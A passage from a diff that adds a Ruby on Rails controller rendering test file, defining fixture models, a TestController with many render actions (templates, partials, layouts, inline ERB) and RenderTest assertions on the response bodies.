+ self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
+end
+
+class Customer < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ undef_method :to_json
+
+ def to_xml(options={})
+ if options[:builder]
+ options[:builder].name name
+ else
+ "<name>#{name}</name>"
+ end
+ end
+
+ def to_js(options={})
+ "name: #{name.inspect}"
+ end
+ alias :to_text :to_js
+
+ def errors
+ []
+ end
+
+ def persisted?
+ id.present?
+ end
+end
+
+module Quiz
+ #Models
+ class Question < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ id.present?
+ end
+ end
+
+ # Controller
+ class QuestionsController < ApplicationController
+ def new
+ render :partial => Quiz::Question.new("Namespaced Partial")
+ end
+ end
+end
+
+class BadCustomer < Customer; end
+class GoodCustomer < Customer; end
+
+module Fun
+ class GamesController < ApplicationController
+ def hello_world; end
+
+ def nested_partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+ end
+end
+
+class TestController < ApplicationController
+ protect_from_forgery
+
+ before_action :set_variable_for_layout
+
+ class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ end
+
+ layout :determine_layout
+
+ def name
+ nil
+ end
+
+ private :name
+ helper_method :name
+
+ def hello_world
+ end
+
+ def hello_world_file
+ render :file => File.expand_path("../../../fixtures/actionpack/hello", __FILE__), :formats => [:html]
+ end
+
+ # :ported:
+ def render_hello_world
+ render "test/hello_world"
+ end
+
+ def render_hello_world_with_last_modified_set
+ response.last_modified = Date.new(2008, 10, 10).to_time
+ render "test/hello_world"
+ end
+
+ # :ported: compatibility
+ def render_hello_world_with_forward_slash
+ render "/test/hello_world"
+ end
+
+ # :ported:
+ def render_template_in_top_directory
+ render :template => 'shared'
+ end
+
+ # :deprecated:
+ def render_template_in_top_directory_with_slash
+ render '/shared'
+ end
+
+ # :ported:
+ def render_hello_world_from_variable
+ @person = "david"
+ render :text => "hello #{@person}"
+ end
+
+ # :ported:
+ def render_action_hello_world
+ render :action => "hello_world"
+ end
+
+ def render_action_upcased_hello_world
+ render :action => "Hello_world"
+ end
+
+ def render_action_hello_world_as_string
+ render "hello_world"
+ end
+
+ def render_action_hello_world_with_symbol
+ render :action => :hello_world
+ end
+
+ # :ported:
+ def render_text_hello_world
+ render :text => "hello world"
+ end
+
+ # :ported:
+ def render_text_hello_world_with_layout
+ @variable_for_layout = ", I am here!"
+ render :text => "hello world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :layout => false
+ end
+
+ # :ported:
+ def render_file_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
+ render :file => path
+ end
+
+ # :ported:
+ def render_file_not_using_full_path
+ @secret = 'in the sauce'
+ render :file => 'test/render_file_with_ivar'
+ end
+
+ def render_file_not_using_full_path_with_dot_in_path
+ @secret = 'in the sauce'
+ render :file => 'test/dot.directory/render_file_with_ivar'
+ end
+
+ def render_file_using_pathname
+ @secret = 'in the sauce'
+ render :file => Pathname.new(File.dirname(__FILE__)).join('..', '..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar')
+ end
+
+ def render_file_from_template
+ @secret = 'in the sauce'
+ @path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
+ end
+
+ def render_file_with_locals
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
+ render :file => path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def render_file_as_string_with_locals
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals'))
+ render file: path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def accessing_request_in_template
+ render :inline => "Hello: <%= request.host %>"
+ end
+
+ def accessing_logger_in_template
+ render :inline => "<%= logger.class %>"
+ end
+
+ def accessing_action_name_in_template
+ render :inline => "<%= action_name %>"
+ end
+
+ def accessing_controller_name_in_template
+ render :inline => "<%= controller_name %>"
+ end
+
+ # :ported:
+ def render_custom_code
+ render :text => "hello world", :status => 404
+ end
+
+ # :ported:
+ def render_text_with_nil
+ render :text => nil
+ end
+
+ # :ported:
+ def render_text_with_false
+ render :text => false
+ end
+
+ def render_text_with_resource
+ render :text => Customer.new("David")
+ end
+
+ # :ported:
+ def render_nothing_with_appendix
+ render :text => "appended"
+ end
+
+ # This test is testing 3 things:
+ # render :file in AV :ported:
+ # render :template in AC :ported:
+ # setting content type
+ def render_xml_hello
+ @name = "David"
+ render :template => "test/hello"
+ end
+
+ def render_xml_hello_as_string_template
+ @name = "David"
+ render "test/hello"
+ end
+
+ def render_line_offset
+ render :inline => '<% raise %>', :locals => {:foo => 'bar'}
+ end
+
+ def heading
+ head :ok
+ end
+
+ def greeting
+ # let's just rely on the template
+ end
+
+ # :ported:
+ def blank_response
+ render :text => ' '
+ end
+
+ # :ported:
+ def layout_test
+ render :action => "hello_world"
+ end
+
+ # :ported:
+ def builder_layout_test
+ @name = nil
+ render :action => "hello", :layout => "layouts/builder"
+ end
+
+ # :move: test this in Action View
+ def builder_partial_test
+ render :action => "hello_world_container"
+ end
+
+ # :ported:
+ def partials_list
+ @test_unchanged = 'hello'
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :action => "list"
+ end
+
+ def partial_only
+ render :partial => true
+ end
+
+ def hello_in_a_string
+ @customers = [ Customer.new("david"), Customer.new("mary") ]
+ render :text => "How's there? " + render_to_string(:template => "test/list")
+ end
+
+ def accessing_params_in_template
+ render :inline => "Hello: <%= params[:name] %>"
+ end
+
+ def accessing_local_assigns_in_inline_template
+ name = params[:local_name]
+ render :inline => "<%= 'Goodbye, ' + local_name %>",
+ :locals => { :local_name => name }
+ end
+
+ def render_implicit_html_template_from_xhr_request
+ end
+
+ def render_implicit_js_template_without_layout
+ end
+
+ def formatted_html_erb
+ end
+
+ def formatted_xml_erb
+ end
+
+ def render_to_string_test
+ @foo = render_to_string :inline => "this is a test"
+ end
+
+ def default_render
+ @alternate_default_render ||= nil
+ if @alternate_default_render
+ @alternate_default_render.call
+ else
+ super
+ end
+ end
+
+ def render_action_hello_world_as_symbol
+ render :action => :hello_world
+ end
+
+ def layout_test_with_different_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_string_action
+ render "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_symbol_action
+ render :hello_world, :layout => "standard"
+ end
+
+ def rendering_without_layout
+ render :action => "hello_world", :layout => false
+ end
+
+ def layout_overriding_layout
+ render :action => "hello_world", :layout => "standard"
+ end
+
+ def rendering_nothing_on_layout
+ render :nothing => true
+ end
+
+ def render_to_string_with_assigns
+ @before = "i'm before the render"
+ render_to_string :text => "foo"
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_exception
+ render_to_string :file => "exception that will not be caught - this will certainly not work"
+ end
+
+ def render_to_string_with_caught_exception
+ @before = "i'm before the render"
+ begin
+ render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
+ rescue
+ end
+ @after = "i'm after the render"
+ render :template => "test/hello_world"
+ end
+
+ def accessing_params_in_template_with_layout
+ render :layout => true, :inline => "Hello: <%= params[:name] %>"
+ end
+
+ # :ported:
+ def render_with_explicit_template
+ render :template => "test/hello_world"
+ end
+
+ def render_with_explicit_unescaped_template
+ render :template => "test/h*llo_world"
+ end
+
+ def render_with_explicit_escaped_template
+ render :template => "test/hello,world"
+ end
+
+ def render_with_explicit_string_template
+ render "test/hello_world"
+ end
+
+ # :ported:
+ def render_with_explicit_template_with_locals
+ render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
+ end
+
+ # :ported:
+ def double_render
+ render :text => "hello"
+ render :text => "world"
+ end
+
+ def double_redirect
+ redirect_to :action => "double_render"
+ redirect_to :action => "double_render"
+ end
+
+ def render_and_redirect
+ render :text => "hello"
+ redirect_to :action => "double_render"
+ end
+
+ def render_to_string_and_render
+ @stuff = render_to_string :text => "here is some cached stuff"
+ render :text => "Hi web users! #{@stuff}"
+ end
+
+ def render_to_string_with_inline_and_render
+ render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
+ render :template => "test/hello_world"
+ end
+
+ def rendering_with_conflicting_local_vars
+ @name = "David"
+ render :action => "potential_conflicts"
+ end
+
+ def hello_world_from_rxml_using_action
+ render :action => "hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ # :deprecated:
+ def hello_world_from_rxml_using_template
+ render :template => "test/hello_world_from_rxml", :handlers => [:builder]
+ end
+
+ def action_talk_to_layout
+ # Action template sets variable that's picked up by layout
+ end
+
+ # :addressed:
+ def render_text_with_assigns
+ @hello = "world"
+ render :text => "foo"
+ end
+
+ def yield_content_for
+ render :action => "content_for", :layout => "yield"
+ end
+
+ def render_content_type_from_body
+ response.content_type = Mime::RSS
+ render :text => "hello world!"
+ end
+
+ def render_using_layout_around_block
+ render :action => "using_layout_around_block"
+ end
+
+ def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
+ end
+
+ def partial_formats_html
+ render :partial => 'partial', :formats => [:html]
+ end
+
+ def partial
+ render :partial => 'partial'
+ end
+
+ def partial_html_erb
+ render :partial => 'partial_html_erb'
+ end
+
+ def render_to_string_with_partial
+ @partial_only = render_to_string :partial => "partial_only"
+ @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
+ render :template => "test/hello_world"
+ end
+
+ def render_to_string_with_template_and_html_partial
+ @text = render_to_string :template => "test/with_partial", :formats => [:text]
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_html_partial"
+ end
+
+ def render_to_string_and_render_with_different_formats
+ @html = render_to_string :template => "test/with_partial", :formats => [:html]
+ render :template => "test/with_partial", :formats => [:text]
+ end
+
+ def render_template_within_a_template_with_other_format
+ render :template => "test/with_xml_template",
+ :formats => [:html],
+ :layout => "with_html_partial"
+ end
+
+ def partial_with_counter
+ render :partial => "counter", :locals => { :counter_counter => 5 }
+ end
+
+ def partial_with_locals
+ render :partial => "customer", :locals => { :customer => Customer.new("david") }
+ end
+
+ def partial_with_form_builder
+ render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_with_form_builder_subclass
+ render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
+ end
+
+ def partial_collection
+ render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as
+ render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
+ end
+
+ def partial_collection_with_iteration
+ render partial: "customer_iteration", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new('christine') ]
+ end
+
+ def partial_collection_with_as_and_iteration
+ render partial: "customer_iteration_with_as", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new('christine') ], as: :client
+ end
+
+ def partial_collection_with_counter
+ render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_as_and_counter
+ render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
+ end
+
+ def partial_collection_with_locals
+ render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_with_spacer
+ render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_with_spacer_which_uses_render
+ render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
+ end
+
+ def partial_collection_shorthand_with_locals
+ render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records
+ render :partial => [
+ BadCustomer.new("mark"),
+ GoodCustomer.new("craig"),
+ BadCustomer.new("john"),
+ GoodCustomer.new("zach"),
+ GoodCustomer.new("brandon"),
+ BadCustomer.new("dan") ],
+ :locals => { :greeting => "Bonjour" }
+ end
+
+ def empty_partial_collection
+ render :partial => "customer", :collection => []
+ end
+
+ def partial_collection_shorthand_with_different_types_of_records_with_counter
+ partial_collection_shorthand_with_different_types_of_records
+ end
+
+ def missing_partial
+ render :partial => 'thisFileIsntHere'
+ end
+
+ def partial_with_hash_object
+ render :partial => "hash_object", :object => {:first_name => "Sam"}
+ end
+
+ def partial_with_nested_object
+ render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+ end
+
+ def partial_with_nested_object_shorthand
+ render Quiz::Question.new("first")
+ end
+
+ def partial_hash_collection
+ render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
+ end
+
+ def partial_hash_collection_with_locals
+ render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
+ end
+
+ def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+ end
+
+ def render_call_to_partial_with_layout
+ render :action => "calling_partial_with_layout"
+ end
+
+ def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+ render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
+ end
+
+ before_action only: :render_with_filters do
+ request.format = :xml
+ end
+
+ # Ensure that the before filter is executed *before* self.formats is set.
+ def render_with_filters
+ render :action => :formatted_xml_erb
+ end
+
+ private
+
+ def set_variable_for_layout
+ @variable_for_layout = nil
+ end
+
+ def determine_layout
+ case action_name
+ when "hello_world", "layout_test", "rendering_without_layout",
+ "rendering_nothing_on_layout", "render_text_hello_world",
+ "render_text_hello_world_with_layout",
+ "hello_world_with_layout_false",
+ "partial_only", "accessing_params_in_template",
+ "accessing_params_in_template_with_layout",
+ "render_with_explicit_template",
+ "render_with_explicit_string_template",
+ "update_page", "update_page_with_instance_variables"
+
+ "layouts/standard"
+ when "action_talk_to_layout", "layout_overriding_layout"
+ "layouts/talk_from_action"
+ when "render_implicit_html_template_from_xhr_request"
+ (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
+ end
+ end
+end
+
+class RenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+ # a more accurate simulation of what happens in "real life".
+ super
+ @controller.logger = ActiveSupport::Logger.new(nil)
+ ActionView::Base.logger = ActiveSupport::Logger.new(nil)
+
+ @request.host = "www.nextangle.com"
+ end
+
+ def teardown
+ ActionView::Base.logger = nil
+ end
+
+ # :ported:
+ def test_simple_show
+ get :hello_world
+ assert_response 200
+ assert_response :success
+ assert_template "test/hello_world"
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ # :ported:
+ def test_renders_default_template_for_missing_action
+ get :'hyphen-ated'
+ assert_template 'test/hyphen-ated'
+ end
+
+ # :ported:
+ def test_render
+ get :render_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_line_offset
+ exc = assert_raises ActionView::Template::Error do
+ get :render_line_offset
+ end
+ line = exc.backtrace.first
+ assert(line =~ %r{:(\d+):})
+ assert_equal "1", $1,
+ "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+ end
+
+ # :ported: compatibility
+ def test_render_with_forward_slash
+ get :render_hello_world_with_forward_slash
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_in_top_directory
+ get :render_template_in_top_directory
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ # :ported:
+ def test_render_in_top_directory_with_slash
+ get :render_template_in_top_directory_with_slash
+ assert_template "shared"
+ assert_equal "Elastica", @response.body
+ end
+
+ def test_render_process
+ get :render_action_hello_world_as_string
+ assert_equal ["Hello world!"], @controller.process(:render_action_hello_world_as_string)
+ end
+
+ # :ported:
+ def test_render_from_variable
+ get :render_hello_world_from_variable
+ assert_equal "hello david", @response.body
+ end
+
+ # :ported:
+ def test_render_action
+ get :render_action_hello_world
+ assert_template "test/hello_world"
+ end
+
+ def test_render_action_upcased
+ assert_raise ActionView::MissingTemplate do
+ get :render_action_upcased_hello_world
+ end
+ end
+
+ # :ported:
+ def test_render_action_hello_world_as_string
+ get :render_action_hello_world_as_string
+ assert_equal "Hello world!", @response.body
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_action_with_symbol
+ get :render_action_hello_world_with_symbol
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_render_text
+ get :render_text_hello_world
+ assert_equal "hello world", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_text_and_layout
+ get :render_text_hello_world_with_layout
+ assert_equal "<html>hello world, I am here!</html>", @response.body
+ end
+
+ # :ported:
+ def test_do_with_render_action_and_layout_false
+ get :hello_world_with_layout_false
+ assert_equal 'Hello world!', @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_instance_variables
+ get :render_file_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ def test_render_file
+ get :hello_world_file
+ assert_equal "Hello world!", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path
+ get :render_file_not_using_full_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_not_using_full_path_with_dot_in_path
+ get :render_file_not_using_full_path_with_dot_in_path
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_using_pathname
+ get :render_file_using_pathname
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_with_locals
+ get :render_file_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_file_as_string_with_locals
+ get :render_file_as_string_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :assessed:
+ def test_render_file_from_template
+ get :render_file_from_template
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
+ # :ported:
+ def test_render_custom_code
+ get :render_custom_code
+ assert_response 404
+ assert_response :missing
+ assert_equal 'hello world', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_nil
+ get :render_text_with_nil
+ assert_response 200
+ assert_equal '', @response.body
+ end
+
+ # :ported:
+ def test_render_text_with_false
+ get :render_text_with_false
+ assert_equal 'false', @response.body
+ end
+
+ # :ported:
+ def test_render_nothing_with_appendix
+ get :render_nothing_with_appendix
+ assert_response 200
+ assert_equal 'appended', @response.body
+ end
+
+ def test_render_text_with_resource
+ get :render_text_with_resource
+ assert_equal 'name: "David"', @response.body
+ end
+
+ # :ported:
+ def test_attempt_to_access_object_method
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
+ end
+
+ # :ported:
+ def test_private_methods
+ assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
+ end
+
+ # :ported:
+ def test_access_to_request_in_view
+ get :accessing_request_in_template
+ assert_equal "Hello: www.nextangle.com", @response.body
+ end
+
+ def test_access_to_logger_in_view
+ get :accessing_logger_in_template
+ assert_equal "ActiveSupport::Logger", @response.body
+ end
+
+ # :ported:
+ def test_access_to_action_name_in_view
+ get :accessing_action_name_in_template
+ assert_equal "accessing_action_name_in_template", @response.body
+ end
+
+ # :ported:
+ def test_access_to_controller_name_in_view
+ get :accessing_controller_name_in_template
+ assert_equal "test", @response.body # name is explicitly set in the controller.
+ end
+
+ # :ported:
+ def test_render_xml
+ get :render_xml_hello
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_as_string_template
+ get :render_xml_hello_as_string_template
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
+ # :ported:
+ def test_render_xml_with_default
+ get :greeting
+ assert_equal "<p>This is grand!</p>\n", @response.body
+ end
+
+ # :move: test in AV
+ def test_render_xml_with_partial
+ get :builder_partial_test
+ assert_equal "<test>\n <hello/>\n</test>\n", @response.body
+ end
+
+ # :ported:
+ def test_layout_rendering
+ get :layout_test
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_xml_with_layouts
+ get :builder_layout_test
+ assert_equal "<wrapper>\n<html>\n <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+ end
+
+ def test_partials_list
+ get :partials_list
+ assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string
+ get :hello_in_a_string
+ assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+ end
+
+ def test_render_to_string_resets_assigns
+ get :render_to_string_test
+ assert_equal "The value of foo is: ::this is a test::\n", @response.body
+ end
+
+ def test_render_to_string_inline
+ get :render_to_string_with_inline_and_render
+ assert_template "test/hello_world"
+ end
+
+ # :ported:
+ def test_nested_rendering
+ @controller = Fun::GamesController.new
+ get :hello_world
+ assert_equal "Living in a nested world", @response.body
+ end
+
+ def test_accessing_params_in_template
+ get :accessing_params_in_template, :name => "David"
+ assert_equal "Hello: David", @response.body
+ end
+
+ def test_accessing_local_assigns_in_inline_template
+ get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+ assert_equal "Goodbye, Local David", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_implicitly_render_html_template_from_xhr_request
+ xhr :get, :render_implicit_html_template_from_xhr_request
+ assert_equal "XHR!\nHello HTML!", @response.body
+ end
+
+ def test_should_implicitly_render_js_template_without_layout
+ xhr :get, :render_implicit_js_template_without_layout, :format => :js
+ assert_no_match %r{<html>}, @response.body
+ end
+
+ def test_should_render_formatted_template
+ get :formatted_html_erb
+ assert_equal 'formatted html erb', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template_with_bad_accepts_header
+ @request.env["HTTP_ACCEPT"] = "; a=dsf"
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
+ @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
+ get :formatted_xml_erb
+ assert_equal '<test>passed formatted html erb</test>', @response.body
+ end
+
+ def test_layout_test_with_different_layout
+ get :layout_test_with_different_layout
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_string_action
+ get :layout_test_with_different_layout_and_string_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_symbol_action
+ get :layout_test_with_different_layout_and_symbol_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_rendering_without_layout
+ get :rendering_without_layout
+ assert_equal "Hello world!", @response.body
+ end
+
+ def test_layout_overriding_layout
+ get :layout_overriding_layout
+ assert_no_match %r{<title>}, @response.body
+ end
+
+ def test_rendering_nothing_on_layout
+ get :rendering_nothing_on_layout
+ assert_equal '', @response.body
+ end
+
+ def test_render_to_string_doesnt_break_assigns
+ get :render_to_string_with_assigns
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_bad_render_to_string_still_throws_exception
+ assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+ end
+
+ def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+ assert_nothing_raised { get :render_to_string_with_caught_exception }
+ assert_equal "i'm before the render", assigns(:before)
+ assert_equal "i'm after the render", assigns(:after)
+ end
+
+ def test_accessing_params_in_template_with_layout
+ get :accessing_params_in_template_with_layout, :name => "David"
+ assert_equal "<html>Hello: David</html>", @response.body
+ end
+
+ def test_render_with_explicit_template
+ get :render_with_explicit_template
+ assert_response :success
+ end
+
+ def test_render_with_explicit_unescaped_template
+ assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
+ get :render_with_explicit_escaped_template
+ assert_equal "Hello w*rld!", @response.body
+ end
+
+ def test_render_with_explicit_string_template
+ get :render_with_explicit_string_template
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_render_with_filters
+ get :render_with_filters
+ assert_equal "<test>passed formatted xml erb</test>", @response.body
+ end
+
+ # :ported:
+ def test_double_render
+ assert_raise(AbstractController::DoubleRenderError) { get :double_render }
+ end
+
+ def test_double_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
+ end
+
+ def test_render_and_redirect
+ assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
+ end
+
+ # specify the one exception to double render rule - render_to_string followed by render
+ def test_render_to_string_and_render
+ get :render_to_string_and_render
+ assert_equal("Hi web users! here is some cached stuff", @response.body)
+ end
+
+ def test_rendering_with_conflicting_local_vars
+ get :rendering_with_conflicting_local_vars
+ assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+ end
+
+ def test_action_talk_to_layout
+ get :action_talk_to_layout
+ assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+ end
+
+ # :addressed:
+ def test_render_text_with_assigns
+ get :render_text_with_assigns
+ assert_equal "world", assigns["hello"]
+ end
+
+ # :ported:
+ def test_template_with_locals
+ get :render_with_explicit_template_with_locals
+ assert_equal "The secret is area51\n", @response.body
+ end
+
+ def test_yield_content_for
+ get :yield_content_for
+ assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
+ end
+
+ def test_overwritting_rendering_relative_file_with_extension
+ get :hello_world_from_rxml_using_template
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+
+ get :hello_world_from_rxml_using_action
+ assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body
+ end
+
+ def test_using_layout_around_block
+ get :render_using_layout_around_block
+ assert_equal "Before (David)\nInside from block\nAfter", @response.body
+ end
+
+ def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+ assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+ end
+
+ def test_partial_only
+ get :partial_only
+ assert_equal "only partial", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_formatted_partial
+ get :partial
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
+ @request.accept = "text/javascript, text/html"
+
+ get :partial_html_erb
+
+ assert_equal "partial.html.erb", @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_should_render_html_partial_with_formats
+ get :partial_formats_html
+ assert_equal "partial html", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_partial
+ get :render_to_string_with_partial
+ assert_equal "only partial", assigns(:partial_only)
+ assert_equal "Hello: david", assigns(:partial_with_locals)
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_with_template_and_html_partial
+ get :render_to_string_with_template_and_html_partial
+ assert_equal "**only partial**\n", assigns(:text)
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "<strong>only html partial</strong>\n", @response.body
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_render_to_string_and_render_with_different_formats
+ get :render_to_string_and_render_with_different_formats
+ assert_equal "<strong>only partial</strong>\n", assigns(:html)
+ assert_equal "**only partial**\n", @response.body
+ assert_equal "text/plain", @response.content_type
+ end
+
+ def test_render_template_within_a_template_with_other_format
+ get :render_template_within_a_template_with_other_format
+ expected = "only html partial<p>This is grand!</p>"
+ assert_equal expected, @response.body.strip
+ assert_equal "text/html", @response.content_type
+ end
+
+ def test_partial_with_counter
+ get :partial_with_counter
+ assert_equal "5", @response.body
+ end
+
+ def test_partial_with_locals
+ get :partial_with_locals
+ assert_equal "Hello: david", @response.body
+ end
+
+ def test_partial_with_form_builder
+ get :partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('test/_form')
+ end
+
+ def test_partial_with_form_builder_subclass
+ get :partial_with_form_builder_subclass
+ assert_match(/<label/, @response.body)
+ assert_template('test/_labelling_form')
+ end
+
+ def test_nested_partial_with_form_builder
+ @controller = Fun::GamesController.new
+ get :nested_partial_with_form_builder
+ assert_match(/<label/, @response.body)
+ assert_template('fun/games/_form')
+ end
+
+ def test_namespaced_object_partial
+ @controller = Quiz::QuestionsController.new
+ get :new
+ assert_equal "Namespaced Partial", @response.body
+ end
+
+ def test_partial_collection
+ get :partial_collection
+ assert_equal "Hello: davidHello: mary", @response.body
+ end
+
+ def test_partial_collection_with_as
+ get :partial_collection_with_as
+ assert_equal "david david davidmary mary mary", @response.body
+ end
+
+ def test_partial_collection_with_iteration
+ get :partial_collection_with_iteration
+ assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+ end
+
+ def test_partial_collection_with_as_and_iteration
+ get :partial_collection_with_as_and_iteration
+ assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+ end
+
+ def test_partial_collection_with_counter
+ get :partial_collection_with_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_as_and_counter
+ get :partial_collection_with_as_and_counter
+ assert_equal "david0mary1", @response.body
+ end
+
+ def test_partial_collection_with_locals
+ get :partial_collection_with_locals
